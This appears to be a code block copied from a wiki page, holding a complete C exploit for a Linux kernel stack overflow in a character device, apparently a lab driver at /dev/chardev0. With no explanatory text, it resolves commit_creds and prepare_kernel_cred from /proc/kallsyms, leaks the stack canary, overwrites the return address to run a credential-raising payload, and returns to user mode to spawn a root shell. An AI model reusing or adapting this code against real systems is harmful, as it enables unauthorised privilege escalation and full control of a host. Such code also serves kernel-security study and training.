...
Code Block | ||||
---|---|---|---|---|
| ||||
//gcc -masm=intel -static -o exploit exploit.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <stdint.h> #define TEXT_LEN 64 unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred); unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred); struct trap_frame { void *user_rip ; // instruction pointer uint64_t user_cs ; // code segment uint64_t user_rflags ; // CPU flags void *user_rsp ; // stack pointer uint64_t user_ss ; // stack segment } __attribute__((packed)); struct trap_frame tf; void getShell(void) { execl("/bin/sh", "sh", NULL); } void prepare_tf(void) { asm("mov tf+8, cs;" "pushf; pop tf+16;" "mov tf+24, rsp;" "mov tf+32, ss;" ); tf.user_rip = &getShell ; } void payload(void) { commit_creds(prepare_kernel_cred(0)); asm("swapgs;" "mov %%rsp, %0;" "iretq;" : : "r" (&tf)); } unsigned long kallsym_getaddr(const char* str) { FILE *stream; char fbuf[256]; char addr[32]; stream = fopen("/proc/kallsyms","r"); if(stream < 0) { printf("failed to open /proc/kallsyms\n"); return 0; } memset(fbuf,0x00,sizeof(fbuf)); while(fgets(fbuf,256,stream) != NULL) { char *p = fbuf; char *a = addr; if(strlen(fbuf) == 0) continue; memset(addr,0x00,sizeof(addr)); fbuf[strlen(fbuf)-1] = '\0'; while(*p != ' ') *a++ = *p++; p += 3; if(!strcmp(p,str)) return strtoul(addr, NULL, 16); } return 0; } int main() { static char buf[512],rop[512]; char canary[8]; int fd,i,j; //Find the address of "commit_creds()" commit_creds = kallsym_getaddr("commit_creds"); if(commit_creds == 0) { printf("failed to get commit_creds address\n"); return 0; } printf("commit_creds address is :%p\n",commit_creds); //Find the address of "commitprepare_kernel_credscred()" prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred"); if(prepare_kernel_cred == 0) { printf("failed to get prepare_kernel_cred address\n"); return 0; } printf("prepare_kernel_cred address is :%p\n",prepare_kernel_cred); //leak the canary if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); return 0; } lseek(fd, 16, SEEK_CUR); read(fd, buf, TEXT_LEN); for (i = 0; i < 4; i++) { for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff); printf(" | "); for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff); printf("\n"); } memcpy(canary, buf+48,8); printf("canary is :"); for(i = 0;i < 8;i++) printf("%02x ",canary[i] & 0xff); //Exploit code memset(rop, 0x41, 64); memcpy(rop+64,canary,8); memset(rop+72,'A',8); memset(rop+80,'B',8); memset(rop+88,'C',8); *(void**)(rop+96) = &payload; memset(rop+104,'D',8); prepare_tf(); //Overflow write(fd, rop, 104); if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; } |
...